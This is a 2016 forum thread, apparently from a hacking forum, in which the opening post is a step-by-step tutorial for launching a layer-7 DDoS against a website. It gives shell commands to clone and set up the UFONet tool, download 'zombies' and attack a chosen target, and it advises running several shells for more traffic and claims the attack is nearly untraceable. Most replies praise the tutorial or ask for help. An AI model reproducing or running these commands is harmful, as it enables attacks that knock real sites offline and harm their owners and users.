Thread: [\[TUT\] How to ddos. \(Noobs can too\) \(No booter required\)](#)

pahapoika91 - October 25, 2016, 9:18 pm

Hey ?

Im back at it again with new tutorial.

Today i will help you to ddos.

Requiment: Computer running Linux. (Kali preferred)

Internet connection.

First open command shell.

Then

```
cd /root
git clone https :// github(dot)com/epsylon/ufonet
cd
apt-get install python-pycurl
apt-get install python-geoip
cd ufonet
./ufonet --download-zombies
```

Download all those zombies. Then

```
./ufonet -a (urtarget) -r (rounds)
Now it will test if the target is up.
Now you can open new command shell.
Just type
cd ufonet
./ufonet -a (urtarget) -r (rounds)
```

Usually 6-ufonet windows can create 1-gb of traffic to that site.

W1nt3r.St0rm - October 30, 2016, 7:49 am

Nice! Thaks dude! :)

Have a nice day! ;)

wolfman010 - October 30, 2016, 4:38 pm

Thanx for your effort in putting this together.Appreciate it tremendously

ExoticModzV1 - November 1, 2016, 12:22 pm

this will do about 50mb of data within 1:30 minutes you know ? :b

Sobergods - November 2, 2016, 3:12 am

Nice tut but won't bring down dyn DNS lol

pahapoika91 - November 2, 2016, 5:29 am

(Nov 1, 2016 12:22 PM)ExoticModzV1 Wrote: [\[CITE\]](#) this will do about 50mb of data within 1:30 minutes you know ? :bDepens about your botnet. Also its layer 7.

And one command shell will do about 50-mb in minute. Use more shells.
Also this is almost 100% stealth. The victim will not who attacks him.
You need might still use some booter to bring big website down.

? [\$(1000)\$] ? - November 2, 2016, 5:37 am

I'm sure this is not allowed on HF anymore...

mr.bn - November 2, 2016, 6:10 am

Could I get this? I would appreciate it very much :) Thanks

BarryStanton - November 2, 2016, 8:48 am

Thanks

LOL, he just did a tutorial how to get it.

pahapoika91 - November 2, 2016, 8:56 am

Rules doesnt allow DDOS for hire.

THC - November 2, 2016, 8:59 am

You should note that this is not a typical ddos attack, its for use on website.

BradFTW - November 9, 2016, 8:49 am

i cant get this to work, PM me please

CountZer0 - November 10, 2016, 7:26 pm

Very nice tutorial for linux users, tbh this thread deserves more attention

1337 - November 10, 2016, 11:56 pm

very nice tut!
thanks dude

xinf - November 13, 2016, 4:04 am

isnt that dos if you dos fromone computer?

pahapoika91 - November 13, 2016, 4:24 am

@xinf

This is not DOS it's Layer7 DDoS.
It means that the traffic comes from more than 1 source.
In this case traffic comes from websites.
That's why It's almost 99% stealth.

KhalMe - November 13, 2016, 6:25 am

Nice efforts! Appreciate it. Thanks

mandapex - November 14, 2016, 7:42 am

Looks interesting, Thanks for grea tut!

private.member - February 13, 2017, 9:17 am

Nice tut but won't bring down dyn DNS lol
